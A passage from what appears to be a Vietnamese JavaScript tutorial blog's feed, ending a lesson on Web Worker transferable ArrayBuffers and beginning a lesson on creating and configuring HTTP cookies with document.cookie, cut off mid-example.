punctuation">,</span> <span class="token string">"Length of Array Buffer 1:"</span><span class="token punctuation">,</span> arrBuf1<span class="token punctuation">.</span>byteLength<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[Main]"</span><span class="token punctuation">,</span> <span class="token string">"Length of Array Buffer 2:"</span><span class="token punctuation">,</span> arrBuf2<span class="token punctuation">.</span>byteLength<span class="token punctuation">)</span><span class="token punctuation">;</span> myWorker<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">cmd</span><span class="token operator">:</span> <span class="token string">"start"</span><span class="token punctuation">,</span> <span class="token literal-property property">buf1</span><span class="token operator">:</span> arrBuf1<span class="token punctuation">,</span> <span class="token literal-property property">buf2</span><span class="token operator">:</span> arrBuf2 <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">[</span> arrBuf1<span class="token punctuation">,</span> arrBuf2<span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[Main]"</span><span class="token punctuation">,</span> <span class="token string">"After Transfering:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[Main]"</span><span class="token punctuation">,</span> <span class="token string">"Length of Array Buffer 1:"</span><span class="token punctuation">,</span> arrBuf1<span class="token punctuation">.</span>byteLength<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[Main]"</span><span class="token punctuation">,</span> <span class="token string">"Length of Array Buffer 2:"</span><span class="token punctuation">,</span> arrBuf2<span class="token punctuation">.</span>byteLength<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[Main]"</span><span class="token punctuation">,</span> <span class="token string">"Worker is undefined."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Phía Worker Thread:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">self<span class="token punctuation">.</span><span class="token function-variable function">onmessage</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleMessage</span><span class="token punctuation">(</span>event<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">handleMessage</span><span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[Worker]"</span><span class="token punctuation">,</span> <span class="token string">"Worker Thread receives command: "</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>data<span class="token punctuation">.</span>cmd<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>data<span class="token punctuation">.</span>cmd <span class="token operator">==</span> <span class="token string">"start"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token string">"[Worker]"</span><span class="token punctuation">,</span> <span class="token string">"Length of Array Buffer 1:"</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>data<span class="token punctuation">.</span>buf1<span class="token punctuation">.</span>byteLength <span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token string">"[Worker]"</span><span class="token punctuation">,</span> <span class="token string">"Length of Array Buffer 2:"</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>data<span class="token punctuation">.</span>buf2<span class="token punctuation">.</span>byteLength <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Ở đây, Transferable Object là <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>.</p> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">[</span>Main<span class="token punctuation">]</span> Init Web Worker <span class="token punctuation">[</span>Main<span class="token punctuation">]</span> Before Transfering<span class="token operator">:</span> <span class="token punctuation">[</span>Main<span class="token punctuation">]</span> Length <span class="token keyword">of</span> Array Buffer <span class="token number">1</span><span class="token operator">:</span> <span class="token number">1000</span> <span class="token punctuation">[</span>Main<span class="token punctuation">]</span> Length <span class="token keyword">of</span> Array Buffer <span class="token number">2</span><span class="token operator">:</span> <span class="token number">100000</span> <span class="token punctuation">[</span>Main<span class="token punctuation">]</span> After Transfering<span class="token operator">:</span> <span class="token punctuation">[</span>Main<span class="token punctuation">]</span> Length <span class="token keyword">of</span> Array Buffer <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0</span> <span class="token punctuation">[</span>Main<span class="token punctuation">]</span> Length <span class="token keyword">of</span> Array Buffer <span class="token number">2</span><span class="token operator">:</span> <span class="token number">0</span> <span class="token comment">// Độ dài của Array Buffer sau khi gửi sẽ là 0</span> <span class="token comment">// vì nó được chuyển sang phía Worker Thread.</span> <span class="token punctuation">[</span>Worker<span class="token punctuation">]</span> Worker Thread receives command<span class="token operator">:</span> start <span class="token punctuation">[</span>Worker<span class="token punctuation">]</span> Length <span class="token keyword">of</span> Array Buffer <span class="token number">1</span><span class="token operator">:</span> <span class="token number">1000</span> <span class="token punctuation">[</span>Worker<span class="token punctuation">]</span> Length <span class="token keyword">of</span> Array Buffer <span class="token number">2</span><span class="token operator">:</span> <span class="token number">100000</span></code></pre></div> <p><strong>Chú ý:</strong></p> <ul> <li>Việc thực hiện lệnh tại <strong>onmessage</strong> sẽ được thực hiện tuần tự. Nghĩa là khi bạn gửi 10 lệnh <strong>postMessage</strong>, thì ở phía nhận, nó sẽ thực hiện lần lượt từng lệnh một, hết lệnh này mới đến lệnh khác.</li> <li>Worker Thread có thể tự đóng nó bằng cách gọi: <strong>self.close()</strong>.</li> </ul> <p>Bài viết hôm nay dừng lại tại đây. Để tìm hiểu thêm về JavaScript Web Worker thì bạn có thể tìm hiểu thêm ở những link phía dưới đây.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/javascript-service-worker-co-ban/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="xem-thêm" style="position:relative;"><a href="#xem-th%C3%AAm" aria-label="xem thêm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xem thêm</h2> <ul> <li><a href="https://www.w3schools.com/html/html5_webworkers.asp">HTML5 Web Worker</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Worker</a></li> <li><a href="https://www.html5rocks.com/en/tutorials/workers/basics/">The basics of Web Worker</a></li> <li><a href="https://github.com/completejavascript/web-worker-test">Web Worker Test</a></li> <li><a href="https://github.com/completejavascript/inline-web-worker">Inline Web Worker</a></li> <li><a href="https://github.com/completejavascript/web-worker-transferable-object">Web Worker using Transferable Object.</a></li> </ul>[email protected]<![CDATA[Tìm hiểu về HTTP Cookie với JavaScript]]><![CDATA[Nếu bạn tìm kiếm Google về "cookie" hay "HTTP Cookie" thì sẽ ra rất nhiều kết quả như: "kỹ thuật lấy cắp cookie của nạn nhân", "cách thức đánh cắp cookie thông qua lỗ hổng XSS…]]>https://completejavascript.com/tim-hieu-ve-http-cookie-voi-javascript/https://completejavascript.com/tim-hieu-ve-http-cookie-voi-javascript/<![CDATA[AJAX]]><![CDATA[Cookie]]>Fri, 25 Aug 2017 23:00:08 GMT<p>Nếu bạn tìm kiếm Google về "cookie" hay "HTTP Cookie" thì sẽ ra rất nhiều kết quả như: "kỹ thuật lấy cắp cookie của nạn nhân", "cách thức đánh cắp cookie thông qua lỗ hổng XSS", "khai thác cookie trình duyệt để bypass HTTPS và đánh cắp thông tin"... Qua đây, bạn có thể thấy cookie thường sẽ liên quan đến những thông tin cá nhân khá nhạy cảm. Và đó chính là một trong những mục tiêu tấn công của các Hackers.</p> <p><strong>Vậy rốt cuộc HTTP Cookie là gì?</strong></p> <p>Sau đây mình sẽ cùng nhau tìm hiểu về HTTP Cookie nhé!</p> <h2 id="cơ-bản-về-http-cookie" style="position:relative;"><a href="#c%C6%A1-b%E1%BA%A3n-v%E1%BB%81-http-cookie" aria-label="cơ bản về http cookie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cơ bản về HTTP Cookie</h2> <h3 id="http-cookie-là-gì" style="position:relative;"><a href="#http-cookie-l%C3%A0-g%C3%AC" aria-label="http cookie là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>HTTP Cookie là gì?</h3> <p>Theo MDN, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP Cookie</a> được định nghĩa như sau:</p> <p><em>HTTP Cookie (web cookie, browser cookie) là dữ liệu được gửi từ server tới trình duyệt của người dùng. Trình duyệt sẽ lưu dữ liệu cookie này và gửi lại theo mỗi HTTP request về cho cùng server đó. Về cơ bản, cookie dùng để nói cho server biết các request đến từ một trình duyệt, ví dụ để giữ lại trạng thái đăng nhập...</em></p> <p>Đúng vậy, HTTP là <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">stateless</a>. Do đó, mọi request đến server đều giống nhau. Vì vậy, server không thể phân biệt được request được gửi đến là từ một client đã thực hiện request trước đó, đã đăng nhập,... hay từ một client mới.</p> <p>Vì vậy, HTTP Cookie đã ra đời để giải quyết vấn đề này.</p> <h3 id="các-tác-dụng-của-cookie" style="position:relative;"><a href="#c%C3%A1c-t%C3%A1c-d%E1%BB%A5ng-c%E1%BB%A7a-cookie" aria-label="các tác dụng của cookie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các tác dụng của cookie</h3> <p>Cụ thể, các tác dụng chính của cookie là:</p> <ul> <li><strong>Quản lý session</strong>: trạng thái đăng nhập, thông tin giỏ hàng,...</li> <li><strong>Lưu thông tin cài đặt của người dùng</strong>: theme (<a href="/tao-dark-theme-voi-css-variable/">dark mode</a> hay light mode), ngôn ngữ (tiếng việt, tiếng anh), thông tin username/email trong mục bình luận,...</li> <li><strong>Theo dõi và phân tích hành vi người dùng</strong>: các trang đã truy cập, truy cập bao nhiêu lần,...</li> </ul> <h3 id="một-số-giới-hạn-của-cookie" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-gi%E1%BB%9Bi-h%E1%BA%A1n-c%E1%BB%A7a-cookie" aria-label="một số giới hạn của cookie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số giới hạn của cookie</h3> <p>HTTP Cookie có nhiều lợi ích, nhưng cũng tồn tại nhiều giới hạn như:</p> <ul> <li>Dung lượng lưu trữ giới hạn khoảng 4KB. Vì vậy, số lượng cookie lưu trữ cũng giới hạn theo.</li> <li>Cookie là <strong>private</strong> đối với một domain. Do đó, một trang web chỉ có thể đọc được cookies của chính nó.</li> <li>Khi số lượng cookie được lưu trữ vượt quá giới hạn, các cookie mới tạo ra sẽ thay thế cookies cũ.</li> <li>Nếu người dùng <strong>disable cookie</strong> thì bạn sẽ không thể sử dụng được các tính năng của nó.</li> <li>Thông tin lưu trữ ở cookie là không bảo mật nên có thể bị đánh cắp.</li> </ul> <h2 id="các-thao-tác-với-cookie" style="position:relative;"><a href="#c%C3%A1c-thao-t%C3%A1c-v%E1%BB%9Bi-cookie" aria-label="các thao tác với cookie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các thao tác với cookie</h2> <p>Thực tế, HTTP Cookie có thể được thao tác (cài đặt, đọc) từ cả <strong>server</strong> và <strong>client</strong>. Và khi bạn thiết lập <strong>chỉ sử dụng cookie phía server</strong> thì những phần mình nói sau đây sẽ không thể thực hiện.</p> <p>Tuy nhiên, do mình đang tập trung vào JavaScript nên sẽ giả định là server cho phép client truy cập vào cookie. Và đối tượng giúp tương tác với HTTP Cookie phía trình duyệt, chính là <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie">document.cookie</a>. Sau đây, mình sẽ tìm hiểu về các thao tác mà đối tượng này hỗ trợ.</p> <h3 id="tạo-mới-một-cookie" style="position:relative;"><a href="#t%E1%BA%A1o-m%E1%BB%9Bi-m%E1%BB%99t-cookie" aria-label="tạo mới một cookie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo mới một cookie</h3> <p>Cách đơn giản nhất để tạo mới một cookie là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">"foo1=bar1"</span><span class="token punctuation">;</span></code></pre></div> <p>Đoạn code trên sẽ tạo thêm một cookie với <strong>key</strong> là <em>foo1</em> và <strong>value</strong> là <em>bar1</em>.</p> <p><strong>Chú ý</strong>: Tuy đoạn code trên thực hiện phép gán, nhưng thực tế, nó sẽ không ghi đè lên các cookies có sẵn mà chỉ tạo thêm giá trị mới. Nghĩa là nếu bạn muốn tạo thêm cookie với key là <em>foo2</em> và value là <em>bar2</em>, bạn có thể viết tiếp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">"foo2=bar2"</span><span class="token punctuation">;</span></code></pre></div> <p>Lúc này, bạn sẽ có 2 cookie là: <code>'foo1=bar1; foo2=bar2'</code>.</p> <p>Ngoài ra, giá trị của cookie nên được encode với phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent">encodeURIComponent()</a> để tránh các kí tự không hợp lệ như: dấu cách, dấu phẩy và dấu chấm phẩy. Ví dụ, nếu mình muốn thêm cookie với key là <em>name</em> và value là <em>Lam Pham</em>, thì có thể làm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> value <span class="token operator">=</span> <span class="token function">encodeURIComponent</span><span class="token punctuation">(</span><span class="token string">"Lam Pham"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">name=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>value<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó, giá trị cookie thu được là: <code>'foo1=bar1; foo2=bar2; name=Lam%20Pham'</code>.</p> <h4 id="cài-đặt-thời-điểm-hết-hạn-cookie-expiration-date" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-th%E1%BB%9Di-%C4%91i%E1%BB%83m-h%E1%BA%BFt-h%E1%BA%A1n-cookie-expiration-date" aria-label="cài đặt thời điểm hết hạn cookie expiration date permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt thời điểm hết hạn cookie (expiration date)</h4> <p>Nếu bạn không cài đặt thời gian hết hạn cho HTTP Cookie thì mặc định nó sẽ bị xoá khi trình duyệt đóng. Để tránh việc này, bạn có thể cài đặt thời điểm hết hạn cho cookie bằng cách khai báo thêm thuộc tính <strong>expires</strong> với giá trị thời gian ở định dạng UTC, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">"foo1=bar1; expires=Thu, 04 Apr 2019 17:00:00 GMT"</span><span class="token punctuation">;</span></code></pre></div> <p>Để thu được định dạng thời gian như trên, bạn có thể dùng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toUTCString">toUTCString()</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> d <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2019</span><span class="token punctuation">,</span> <span class="token number">03</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toUTCString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Thu, 04 Apr 2019 17:00:00 GMT</span></code></pre></div> <h4 id="cài-đặt-thời-gian-hết-hạn-cookie-duration" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-th%E1%BB%9Di-gian-h%E1%BA%BFt-h%E1%BA%A1n-cookie-duration" aria-label="cài đặt thời gian hết hạn cookie duration permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt thời gian hết hạn cookie (duration)</h4> <p>Thay vì cài đặt thời điểm hết hạn cookie, bạn có thể cài đặt thời gian hết hạn cho nó. Hay nói cách khác là sau bao nhiêu lâu thì cookies sẽ bị hết hạn. Để làm việc này, bạn cài đặt thuộc tính <strong>max-age</strong> với giá trị là thời gian tính bằng đơn vị giây, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">"foo1=bar1; max-age=3600"</span><span class="token punctuation">;</span> <span class="token comment">// hết hạn sau 60 phút</span> document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">"foo2=bar2; max-age=31536000"</span><span class="token punctuation">;</span> <span class="token comment">// hết hạn sau 1 năm</span></code></pre></div> <h4 id="cài-đặt-tên-miền-domain-cho-cookie" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-t%C3%AAn-mi%E1%BB%81n-domain-cho-cookie" aria-label="cài đặt tên miền domain cho cookie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt tên miền (domain) cho cookie</h4> <p>Khi bạn không cài đặt thuộc tính <strong>domain</strong> cho cookie, mặc định, giá trị này được gán cho domain mà bạn sử dụng, giả sử là <em>domain.com</em>. Khi đó, cookies cũng được sử dụng cho các subdomain, ví dụ: <em>sub1.domain.com</em>, <em>sub2.domain.com</em>, <em>child.sub2.domain.com</em>... Tuy nhiên, bạn cũng có thể giới hạn domain sử dụng bằng cách cài đặt chính xác giá trị cho nó:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">'foo1=bar1; domain="sub1.domain.com";'</span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó, cookies chỉ tồn tại ở domain <em>sub1.domain.com</em> (mà không có ở <em>sub2.domain.com</em>) và các domain con của nó như <em>child1.sub1.domain.com</em>, <em>child2.sub1.domain.com</em>,...</p> <h4 id="cài-đặt-path-cho-cookie" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-path-cho-cookie" aria-label="cài đặt path cho cookie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt path cho cookie</h4> <p>Tương tự như domain, nếu bạn không cài đặt <strong>path</strong> thì mặc định, giá trị này sẽ là "/". Khi đó, cookies sẽ tồn tại ở trang chủ "/" và các trang con như: "/tag", "/category", "/category/cookie",... Ngoài ra, bạn cũng có thể xác định rõ giá trị cho nó:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">'foo=bar; path="/category"'</span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó, cookies sẽ có giá trị ở path <em>/category</em> và các path con của nó như <em>/category/cookie</em>, <em>/category/session</em>,... mà không có ở các path khác như <em>/tag</em>,...</p> <p><strong>Chú ý:</strong> trên đây mình chỉ ví dụ minh hoạ cho mỗi thuộc tính, thực tế bạn có thể kết hợp chúng lại với nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">'foo1=bar1; expires=Thu, 04 Apr 2019 17:00:00 GMT; domain="mysite.com"; path="/category"'</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">'foo2=bar2; max-age=3600; domain="sub.mysite.com"; path="/tag"'</span><span class="token punctuation">;</span></code></pre></div> <h3 id="cập-nhật-một-cookie" style="position:relative;"><a href="#c%E1%BA%ADp-nh%E1%BA%ADt-m%E1%BB%99t-cookie" aria-label="cập nhật một cookie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cập nhật một cookie</h3> <p>Để cập nhật giá trị cho một cookie, bạn cũng sử dụng cú pháp như việc tạo mới một cookie. Chỉ khác là ở đây, tên của cookie đã tồn tại, nên giá trị của nó sẽ bị ghi đè:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">"foo=bar1"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>document<span class="token punctuation">.</span>cookie<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 